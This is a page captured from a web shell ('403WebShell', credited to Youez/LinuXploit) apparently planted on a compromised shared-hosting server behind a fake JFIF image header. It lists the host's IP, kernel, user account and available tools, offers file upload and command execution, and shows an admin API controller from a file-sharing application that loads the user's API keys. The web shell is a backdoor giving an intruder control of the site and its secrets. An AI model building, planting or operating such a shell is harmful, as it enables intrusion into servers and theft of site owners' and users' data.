����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 13.59.56.153
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./ideyshare.name.ng/ner2/ucloud/app/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./ideyshare.name.ng/ner2/ucloud/app/controllers/admin/ApiController.class.php
<?php

namespace App\Controllers\admin;

use App\Controllers\admin\AdminBaseController;
use App\Core\Database;
use App\Helpers\ApiV2Helper;
use App\Helpers\AuthHelper;

class ApiController extends AdminBaseController
{

    public function apiDocumentation() {
        // admin restrictions
        $this->restrictAdminAccess();

        // load template
        return $this->render('admin/api_documentation.html', array(
                    'apiUrl' => ApiV2Helper::getApiUrl(),
                    'showAdminEndpoints' => true,
                                ));
    }

    public function apiTestFramework() {
        // admin restrictions
        $this->restrictAdminAccess();

        // allow some time to run
        set_time_limit(60 * 60);

        // list of actions and params
        $db = Database::getDatabase();
        $Auth = $this->getAuth();
        $actions = array();
        if (SITE_CONFIG_API_AUTHENTICATION_METHOD == 'Account Access Details') {
            $actions['/authorize'] = array('username' => $Auth->username, 'password' => '');
        }
        else {
            // load keys
            $key1 = $key2 = '';
            $accountAPIKeys = $db->getRow('SELECT key_public, key_secret '
                    . 'FROM apiv2_api_key '
                    . 'WHERE user_id = :user_id '
                    . 'LIMIT 1', array(
                        'user_id' => $Auth->id,
                        )
                    );
            if ($accountAPIKeys) {
                $key1 = $accountAPIKeys['key_public'];
                $key2 = $accountAPIKeys['key_secret'];
            }
            $actions['/authorize'] = array('key1' => $key1, 'key2' => $key2);
        }
        $actions['/disable_access_token'] = array('access_token' => '', 'account_id' => '');
        $actions['/account/info'] = array('access_token' => '', 'account_id' => '');
        $actions['/account/package'] = array('access_token' => '', 'account_id' => '');
        $actions['/account/create'] = array('access_token' => '', 'username' => '', 'password' => '', 'email' => '', 'package_id' => '', 'status' => '', 'title' => '', 'firstname' => '', 'lastname' => '', 'paid_expiry_date' => '');
        $actions['/account/edit'] = array('access_token' => '', 'account_id' => '', 'password' => '', 'email' => '', 'package_id' => '', 'status' => '', 'title' => '', 'firstname' => '', 'lastname' => '', 'paid_expiry_date' => '');
        $actions['/account/delete'] = array('access_token' => '', 'account_id' => '');
        $actions['/file/upload'] = array('access_token' => '', 'account_id' => '', 'upload_file' => '', 'folder_id' => '');
        $actions['/file/download'] = array('access_token' => '', 'account_id' => '', 'file_id' => '');
        $actions['/file/info'] = array('access_token' => '', 'account_id' => '', 'file_id' => '');
        $actions['/file/edit'] = array('access_token' => '', 'account_id' => '', 'file_id' => '', 'filename' => '', 'fileType' => '', 'folder_id' => '');
        $actions['/file/delete'] = array('access_token' => '', 'account_id' => '', 'file_id' => '');
        $actions['/file/move'] = array('access_token' => '', 'account_id' => '', 'file_id' => '', 'new_parent_folder_id' => '');
        $actions['/file/copy'] = array('access_token' => '', 'account_id' => '', 'file_id' => '', 'copy_to_folder_id' => '');
        $actions['/folder/create'] = array('access_token' => '', 'account_id' => '', 'folder_name' => '', 'parent_id' => '', 'is_public' => '', 'access_password' => '');
        $actions['/folder/listing'] = array('access_token' => '', 'account_id' => '', 'parent_folder_id' => '');
        $actions['/folder/info'] = array('access_token' => '', 'account_id' => '', 'folder_id' => '');
        $actions['/folder/edit'] = array('access_token' => '', 'account_id' => '', 'folder_id' => '', 'folder_name' => '', 'parent_id' => '', 'is_public' => '', 'access_password' => '');
        $actions['/folder/delete'] = array('access_token' => '', 'account_id' => '', 'folder_id' => '');
        $actions['/folder/move'] = array('access_token' => '', 'account_id' => '', 'folder_id' => '', 'new_parent_folder_id' => '');
        $actions['/package/listing'] = array('access_token' => '');

        // load template
        return $this->render('admin/api_test_framework.html', array(
                    'apiUrl' => ApiV2Helper::getApiUrl(),
                    'key1' => $key1,
                    'key2' => $key2,
                    'actions' => $actions,
                                ));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit